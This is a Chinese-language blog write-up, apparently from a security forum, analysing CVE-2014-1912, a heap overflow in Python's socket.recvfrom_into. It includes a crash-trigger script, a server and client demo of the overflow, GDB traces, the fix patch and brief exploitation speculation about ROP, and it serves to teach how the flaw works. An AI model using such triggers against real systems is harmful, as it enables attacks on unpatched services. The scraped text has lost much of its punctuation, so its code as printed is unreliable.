1、CVE-2014-1912漏洞介绍与简单分析标 题: 【原创】CVE-2014-1912漏洞介绍与简单分析作 者: cumirror前段时间,CVE上收录了Python缓冲区溢出漏洞CVE-2014-1912。正好自己在学Pyhon,于是跟踪分析了下。自己是个新手,对于shellcode编写还没掌握,所以这里侧重于漏洞的原理介绍和溢出点的定位,如有不足和错误之处还请大家指点,谢谢。1.漏洞介绍这个漏洞产生于Pythonsocket模块中的recvfrom_into函数,该函数在处理过程中,对recvlen和buf.len的判断存在问题。该漏洞会影响Python2.7.7/3.4.4之前的版本。
2、你也可以运行如下脚本进行检查,如果产生段错误,则说明存在这个漏洞。代码:importsocketr,w=socket.socketpair()w.send(bX*1024)r.recvfrom_into(bytearray(),1024)2.漏洞溢出点分析a)调试环境系统:Ubuntu13.04Python:2.7.4调试器:GDB(安装python的扩展:sudoapt-getinstallgdbpython2.7-dbg)b)demoserve.py代码:importsocket,arrayhost=socket.gethostname()port=40000s=socket.socket
3、()s.bind(host,port)#mybuf=bytearray(bBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB)#printhex(id(mybuf)mybuf=array.array(c,B*5)printlen(mybuf)printhex(id(mybuf)s.listen(5)whileTrue:c,addr=s.accept()nbytes,c_addr=c.recvfrom_into(mybuf,1024)printrecv,nbytes,bytes:,mybufc.close()client.py代码:importsockethost=socket
4、.gethostname()port=40000s=socket.socket()s.connect(host,port)buf=AAAAAAAs.send(buf)为了方便定位,使用了hex(id(obj)来获取Python中对象的内存地址,适用于CPython(默认的Python解析器)。c)gdb调试1)pythonserver.py,运行server代码:50xb74d5a00Lrecv7bytes:array(c,AAAAA)2)gdbattach到进程上,设置断点。(我尝试过设置watchpoint,但没断住,比较奇怪)代码:$ps-ef|grepserver$sudogdba37
5、35(gdb)x/10xg0xb74bba000xb74bba00:0x0827b560000000010x0a1c1908000000050xb74bba10:0x0827e2a0000000050x00000000000000000xb74bba20:0x08290160b74bba400x7957ad87000000060xb74bba30:0x6f647473000000000x00000000000074750xb74bba40:0x00000000000000000x0000000000000000(gdb)x/10xg0x0a1c19080xa1c1908:0x726f72424
6、24242420x00000039b75330000xa1c1918:0x00000002000000000x00000006000000010xa1c1928:0x0a1c1938000000100x0a1c1950000000000xa1c1938:0x0101007f000000020x00000000000000000xa1c1948:0x000000390000038e0x000000020a1c1910(gdb)x/10c0x0a1c19080xa1c1908:66B66B66B66B66B114r111o114r0xa1c1910:0000480(gdb)breakif(char
7、*)0x0a1c1908)0!=BBreakpoint1at0xb77a2424(gdb)breaksock_recvfrom_into.64651Breakpoint2at0x806e4d3:file./Modules/socketmodule.c,line2720.(gdb)cContinuing.3)pythonclient.py,发送超长的数据。4)查看溢出点代码:Breakpoint2,sock_recvfrom_into.64651(s=0xb74b2610,args=(,1024),kwds=0x0)at./Modules/socketmodule.c:27202720./Mod
8、ules/socketmodule.c:Nosuchfileordirectory.(gdb)bt#0sock_recvfrom_into.64651(s=0xb74b2610,args=(,1024),kwds=0x0)at./Modules/socketmodule.c:2720#10x080b6bdeincall_function(oparg=,pp_stack=0xbfb2a58c)at./Python/ceval.c:4021#2PyEval_EvalFrameEx(f=fentry=Frame0xa1be5c4,forfileserver.py,line18,in(),throwf
9、lag=throwflagentry=0)at./Python/ceval.c:2666#30x0811fae9inPyEval_EvalCodeEx(co=coentry=0xb750ecc8,globals=globalsentry=c:,socket:,_builtins_:,_file_:server.py,s:,_package_:None,port:40000,host:cumirror,mybuf:,_name_:_main_,array:,_doc_:None,addr:(127.0.0.1,50195),locals=localsentry=c:,socket:,_built
10、ins_:,_file_:server.py,s:,_package_:None,port:40000,host:cumirror,mybuf:,_name_:_main_,array:,_doc_:None,addr:(127.0.0.1,50195),args=argsentry=0x0,argcount=argcountentry=0,kws=kwsentry=0x0,kwcount=kwcountentry=0,defs=defsentry=0x0,defcount=defcountentry=0,closure=closureentry=0x0)at./Python/ceval.c:
11、3253#40x081836c7inPyEval_EvalCode(co=coentry=0xb750ecc8,globals=globalsentry=c:,socket:,_builtins_:,_file_:server.py,s:,_package_:None,port:40000,host:cumirror,mybuf:,_name_:_main_,array:,_doc_:None,addr:(127.0.0.1,50195),locals=localsentry=c:,socket:,_builtins_:,_file_:server.py,s:,_package_:None,p
12、ort:40000,host:cumirror,mybuf:,_name_:_main_,array:,_doc_:None,addr:(127.0.0.1,50195)at./Python/ceval.c:667#50x08183b7dinrun_mod.42872(mod=modentry=0xa1c01f0,filename=filenameentry=0xbfb2c35eserver.py,globals=globalsentry=c:,socket:,_builtins_:,_file_:server.py,s:,_package_:None,port:40000,host:cumi
13、rror,mybuf:,_name_:_main_,array:,_doc_:None,addr:(127.0.0.1,50195),locals=localsentry=c:,socket:,_builtins_:,_file_:server.py,s:,_package_:None,port:40000,host:cumirror,mybuf:,_name_:_main_,array:,_doc_:None,addr:(127.0.0.1,50195),flags=flagsentry=0xbfb2a79c,arena=arenaentry=0xa1d1398)at./Python/pyt
14、honrun.c:1365#60x080a6029inPyRun_FileExFlags(fp=fpentry=0xa1be5b8,filename=filenameentry=0xbfb2c35eserver.py,start=startentry=257,globals=globalsentry=c:,socket:,_builtins_:,_file_:server.py,s:,_package_:None,port:40000,host:cumirror,mybuf:,_name_:_main_,array:,_doc_:None,addr:(127.0.0.1,50195),loca
15、ls=localsentry=c:,socket:,_builtins_:,_file_:server.py,s:,_package_:None,port:40000,host:-Typetocontinue,orqtoquit-qQuit(gdb)cContinuing.Breakpoint1,0xb77a2424in_kernel_vsyscall()(gdb)bt#00xb77a2424in_kernel_vsyscall()#10xb777cc91inrecvfrom()from/lib/i386-linux-gnu/libpthread.so.0#20x0806e2fbinsock_
16、recvfrom_guts(s=0xb77a2424,sentry=0xb74b2610,cbuf=0xa1c1908AAAAAAAr,len=1024,flags=0,addr=addrentry=0xbfb2a478)at/usr/include/i386-linux-gnu/bits/socket2.h:76#30x0806e57finsock_recvfrom_into.64651(s=0xb74b2610,args=(,1024),kwds=0x0)at./Modules/socketmodule.c:2747#40x080b6bdeincall_function(oparg=,pp
17、_stack=0xbfb2a58c)at./Python/ceval.c:4021#5PyEval_EvalFrameEx(f=fentry=Frame0xa1be5c4,forfileserver.py,line18,in(),throwflag=throwflagentry=0)at./Python/ceval.c:2666#60x0811fae9inPyEval_EvalCodeEx(co=coentry=0xb750ecc8,globals=globalsentry=c:,socket:,_builtins_:,_file_:server.py,s:,_package_:None,po
18、rt:40000,host:cumirror,mybuf:,_name_:_main_,array:,_doc_:None,addr:(127.0.0.1,50195),locals=localsentry=c:,socket:,_builtins_:,_file_:server.py,s:,_package_:None,port:40000,host:cumirror,mybuf:,_name_:_main_,array:,_doc_:None,addr:(127.0.0.1,50195),args=argsentry=0x0,argcount=argcountentry=0,kws=kws
19、entry=0x0,kwcount=kwcountentry=0,defs=defsentry=0x0,defcount=defcountentry=0,closure=closureentry=0x0)at./Python/ceval.c:3253#70x081836c7inPyEval_EvalCode(co=coentry=0xb750ecc8,globals=globalsentry=c:,socket:,_builtins_:,_file_:server.py,s:,_package_:None,port:40000,host:cumirror,mybuf:,_name_:_main
20、_,array:,_doc_:None,addr:(127.0.0.1,50195),locals=localsentry=c:,socket:,_builtins_:,_file_:server.py,s:,_package_:None,port:40000,host:cumirror,mybuf:,_name_:_main_,array:,_doc_:None,addr:(127.0.0.1,50195)at./Python/ceval.c:667#80x08183b7dinrun_mod.42872(mod=modentry=0xa1c01f0,filename=filenameentr
21、y=0xbfb2c35eserver.py,globals=globalsentry=c:,socket:,_builtins_:,_file_:server.py,s:,_package_:None,port:40000,host:cumirror,mybuf:,_name_:_main_,array:,_doc_:None,addr:(127.0.0.1,50195),locals=localsentry=c:,socket:,_builtins_:,_file_:server.py,s:,_package_:None,port:40000,host:cumirror,mybuf:,_na
22、me_:_main_,array:,_doc_:None,addr:(127.0.0.1,50195),flags=flagsentry=0xbfb2a79c,arena=arenaentry=0xa1d1398)at./Python/pythonrun.c:1365#90x080a6029inPyRun_FileExFlags(fp=fpentry=0xa1be5b8,filename=filenameentry=0xbfb2c35eserver.py,start=startentry=257,globals=globalsentry=c:,socket:,_builtins_:,_file
23、_:server.py,s:,_package_:None,port:40000,host-Typetocontinue,orqtoquit-qQuit(gdb)x/10c0x0a1c19080xa1c1908:65A65A65A65A65A65A65A114r0xa1c1910:00004803.漏洞原因与patch通过上面的调试信息观察到:mybuf对象地址为0xb74bba00,在栈上创建,但其指向的buf则在堆上分配,初始值为BBBBB,大小5Bytes,地址0x0a1c1908。client向server发送7字节的数据(AAAAAA)后,server端因为sock_recvfrom
24、_into中处理不当,设置sock_recvfrom_guts的入参为cbuf=0xa1c1908&len=1024,从而导致了buf的溢出。如果mybuf对象中的buf分配在栈上,则会造成栈溢出,这里则为堆溢出。client连接后,server“正常”输出,但其实其堆已经被破坏。如果client发送的数据够长或server端处理流程更复杂,则很可能会报malloc或free错误。(malloc管理的内存数据被踩坏)下面是python社区打的patch,添加了对buflen与recvlen的判断。代码:diff-r40fb60df4755Modules/socketmodule.c-a/Mod
25、ules/socketmodule.cSunJan1212:11:472014+0200+b/Modules/socketmodule.cMonJan1316:36:352014-0800-2744,6+2744,13recvlen=buflen;+/*Checkifthebufferislargeenough*/+if(buflenrecvlen)+PyErr_SetString(PyExc_ValueError,+buffertoosmallforrequestedbytes);+gotoerror;+readlen=sock_recvfrom_guts(s,buf.buf,recvlen
26、,flags,&addr);if(readlen0)/*Returnanerror*/4.漏洞利用思路a)上述例子中是一处堆溢出,现在malloc分配器中应该能检查出double-shooting这种攻击吧,那这种漏洞还能利用不。b)如果buf分配在栈上,则是一处栈溢出,采用rop的方式绕过nx,进行系统调用,这个应该能实现吧。参考:http:/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1912http:/bugs.python.org/issue20246http:/svn.python.org/projects/python/trunk/Modules/socketmodule.c